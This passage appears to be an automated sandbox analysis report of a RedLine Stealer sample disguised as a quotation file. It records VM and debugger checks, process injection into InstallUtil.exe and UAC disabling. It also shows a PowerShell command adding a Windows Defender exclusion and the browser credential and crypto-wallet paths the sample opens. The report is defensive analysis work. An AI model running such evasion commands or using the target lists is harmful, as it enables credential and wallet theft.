Source: Amcache.hve.10.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.10.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.10.dr	Binary or memory string: VMware, Inc.
Source: tmpEF0A.tmp.5.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: Amcache.hve.10.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.10.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.10.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: tmpEF0A.tmp.5.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: Amcache.hve.10.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: tmpEF0A.tmp.5.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: tmpEF0A.tmp.5.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: tmpEF0A.tmp.5.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: QUOTATION#09678.exe, 00000000.00000002.2268426696.000002CC81774000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMWARE"SOFTWARE\VMware, Inc.\VMware ToolsLHARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0LHARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0'SYSTEM\ControlSet001\Services\Disk\Enum
Source: QUOTATION#09678.exe, 00000000.00000002.2268426696.000002CC81774000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware SVGA II
Source: tmpEF0A.tmp.5.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: Amcache.hve.10.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: tmpEF0A.tmp.5.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: tmpEF0A.tmp.5.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: tmpEF0A.tmp.5.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: Amcache.hve.10.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: tmpEF0A.tmp.5.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: tmpEF0A.tmp.5.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: tmpEF0A.tmp.5.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: tmpEF0A.tmp.5.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: Amcache.hve.10.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.10.dr	Binary or memory string: vmci.syshbin`
Source: tmpEF0A.tmp.5.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: Amcache.hve.10.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: InstallUtil.exe, 00000005.00000002.2386152659.0000000001338000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlln
Source: QUOTATION#09678.exe, 00000000.00000002.2268426696.000002CC81774000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SOFTWARE\VMware, Inc.\VMware Tools
Source: tmpEF0A.tmp.5.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: Amcache.hve.10.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: tmpEF0A.tmp.5.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: Amcache.hve.10.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: tmpEF0A.tmp.5.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION#09678.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\QUOTATION#09678.exe" -Force
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\QUOTATION#09678.exe" -Force			Jump to behavior

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\QUOTATION#09678.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\QUOTATION#09678.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 402000	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 41A000	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 41C000	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: F1D008	Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\QUOTATION#09678.exe" -Force	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"	Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Queries volume information: C:\Users\user\Desktop\QUOTATION#09678.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION#09678.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disables UAC (registry)

Source: C:\Users\user\Desktop\QUOTATION#09678.exe

Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System EnableLUA

Jump to behavior

Source: Amcache.hve.10.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.10.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.10.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: InstallUtil.exe, 00000005.00000002.2393159826.00000000066E2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: Amcache.hve.10.dr	Binary or memory string: MsMpEng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 5.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.QUOTATION#09678.exe.2cc91c398f8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.QUOTATION#09678.exe.2cc91c51740.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.QUOTATION#09678.exe.2cc91c51740.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.QUOTATION#09678.exe.2cc91c398f8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2385941630.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2268869258.000002CC91C21000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: QUOTATION#09678.exe PID: 764, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 5652, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: QUOTATION#09678.exe, 00000000.00000002.2268869258.000002CC91C21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [^\u0020-\u007F]ProcessIdname_on_cardencrypted_valuehttps://ipinfo.io/ip%appdata%\logins{0}\FileZilla\recentservers.xml%appdata%\discord\Local Storage\leveldb\tdataAtomicWalletv10/C \EtFile.IOhereuFile.IOm\walFile.IOletsESystem.UItherSystem.UIeumElectrum[AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7}profiles\Windows\valueexpiras21ation_moas21nth
Source: QUOTATION#09678.exe, 00000000.00000002.2268869258.000002CC91C21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: user.config{0}\FileZilla\sitemanager.xmlcookies.sqlite\Program Files (x86)\configRoninWalletdisplayNamehost_key\Electrum\walletsName\Exodus\exodus.walletnanjmdknhkinifnkgdcggcfnhdaammmjtdataexpires_utc\Program Data\coMANGOokies.sqMANGOlitessfnExodusDisplayVersion%localappdata%\GuildWalletOpHandlerenVPHandlerN ConHandlernect%DSK_23%YoroiWalletcmdOpera GXhttps://api.ipify.orgcookies//settinString.Removeg[@name=\PasswString.Removeord\]/valuString.RemoveeSaturnWalletWeb DataSteamPathwaasflleasft.datasfCommandLineSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallCookiesis_secureSoftware\Valve\SteamLogin DataID: isSecureNoDefrdDefVPNDefwaasflletasfMewCxv11\Program Files\Opera GX StableSELECT * FROM Win32_Process Where SessionId='nlbmnnijcnlegkjjpcfjclmcfggfefdmnkddgncdjgjfcddamfgcmfnlhccnimig\coFile.IOm.libeFile.IOrty.jFile.IOaxFile.IOxnamefnjhmkhhmkbjkkabndcnnogagogbneecfhilaheimglignddkjgofkcbgekhenbhProfile_Unknowncard_number_encrypted, Name: AppData\Roaming\TReplaceokReplaceenReplaces.tReplacext //settString.Replaceing[@name=\UString.Replacesername\]/vaString.ReplacelueNWinordVWinpn.eWinxeWinhostmoz_cookiesUser Datawindows-1251, CommandLine: \ExodusDisplayNameexpiry.vstring.ReplacedfJaxxpathBSJB
Source: QUOTATION#09678.exe, 00000000.00000002.2268869258.000002CC91C21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: user.config{0}\FileZilla\sitemanager.xmlcookies.sqlite\Program Files (x86)\configRoninWalletdisplayNamehost_key\Electrum\walletsName\Exodus\exodus.walletnanjmdknhkinifnkgdcggcfnhdaammmjtdataexpires_utc\Program Data\coMANGOokies.sqMANGOlitessfnExodusDisplayVersion%localappdata%\GuildWalletOpHandlerenVPHandlerN ConHandlernect%DSK_23%YoroiWalletcmdOpera GXhttps://api.ipify.orgcookies//settinString.Removeg[@name=\PasswString.Removeord\]/valuString.RemoveeSaturnWalletWeb DataSteamPathwaasflleasft.datasfCommandLineSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallCookiesis_secureSoftware\Valve\SteamLogin DataID: isSecureNoDefrdDefVPNDefwaasflletasfMewCxv11\Program Files\Opera GX StableSELECT * FROM Win32_Process Where SessionId='nlbmnnijcnlegkjjpcfjclmcfggfefdmnkddgncdjgjfcddamfgcmfnlhccnimig\coFile.IOm.libeFile.IOrty.jFile.IOaxFile.IOxnamefnjhmkhhmkbjkkabndcnnogagogbneecfhilaheimglignddkjgofkcbgekhenbhProfile_Unknowncard_number_encrypted, Name: AppData\Roaming\TReplaceokReplaceenReplaces.tReplacext //settString.Replaceing[@name=\UString.Replacesername\]/vaString.ReplacelueNWinordVWinpn.eWinxeWinhostmoz_cookiesUser Datawindows-1251, CommandLine: \ExodusDisplayNameexpiry.vstring.ReplacedfJaxxpathBSJB
Source: QUOTATION#09678.exe, 00000000.00000002.2268869258.000002CC91C21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: user.config{0}\FileZilla\sitemanager.xmlcookies.sqlite\Program Files (x86)\configRoninWalletdisplayNamehost_key\Electrum\walletsName\Exodus\exodus.walletnanjmdknhkinifnkgdcggcfnhdaammmjtdataexpires_utc\Program Data\coMANGOokies.sqMANGOlitessfnExodusDisplayVersion%localappdata%\GuildWalletOpHandlerenVPHandlerN ConHandlernect%DSK_23%YoroiWalletcmdOpera GXhttps://api.ipify.orgcookies//settinString.Removeg[@name=\PasswString.Removeord\]/valuString.RemoveeSaturnWalletWeb DataSteamPathwaasflleasft.datasfCommandLineSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallCookiesis_secureSoftware\Valve\SteamLogin DataID: isSecureNoDefrdDefVPNDefwaasflletasfMewCxv11\Program Files\Opera GX StableSELECT * FROM Win32_Process Where SessionId='nlbmnnijcnlegkjjpcfjclmcfggfefdmnkddgncdjgjfcddamfgcmfnlhccnimig\coFile.IOm.libeFile.IOrty.jFile.IOaxFile.IOxnamefnjhmkhhmkbjkkabndcnnogagogbneecfhilaheimglignddkjgofkcbgekhenbhProfile_Unknowncard_number_encrypted, Name: AppData\Roaming\TReplaceokReplaceenReplaces.tReplacext //settString.Replaceing[@name=\UString.Replacesername\]/vaString.ReplacelueNWinordVWinpn.eWinxeWinhostmoz_cookiesUser Datawindows-1251, CommandLine: \ExodusDisplayNameexpiry.vstring.ReplacedfJaxxpathBSJB
Source: QUOTATION#09678.exe, 00000000.00000002.2270306101.000002CCFF140000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: SQLCOLUMNENCRYPTIONKEYSTOREPROVIDERB38FC1F0

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\atomic\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\	Jump to behavior

Source: Yara match	File source: 5.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.QUOTATION#09678.exe.2cc91c398f8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.QUOTATION#09678.exe.2cc91c51740.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.QUOTATION#09678.exe.2cc91c51740.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.QUOTATION#09678.exe.2cc91c398f8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2385941630.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2268869258.000002CC91C21000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: QUOTATION#09678.exe PID: 764, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 5652, type: MEMORYSTR

Remote Access Functionality

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 5.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.QUOTATION#09678.exe.2cc91c398f8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.QUOTATION#09678.exe.2cc91c51740.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.QUOTATION#09678.exe.2cc91c51740.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.QUOTATION#09678.exe.2cc91c398f8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2385941630.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2268869258.000002CC91C21000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: QUOTATION#09678.exe PID: 764, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 5652, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	221 Windows Management Instrumentation	1 DLL Side-Loading	311 Process Injection	1 Masquerading	1 OS Credential Dumping	341 Security Software Discovery	Remote Services	11 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	21 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	3 Data from Local System	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
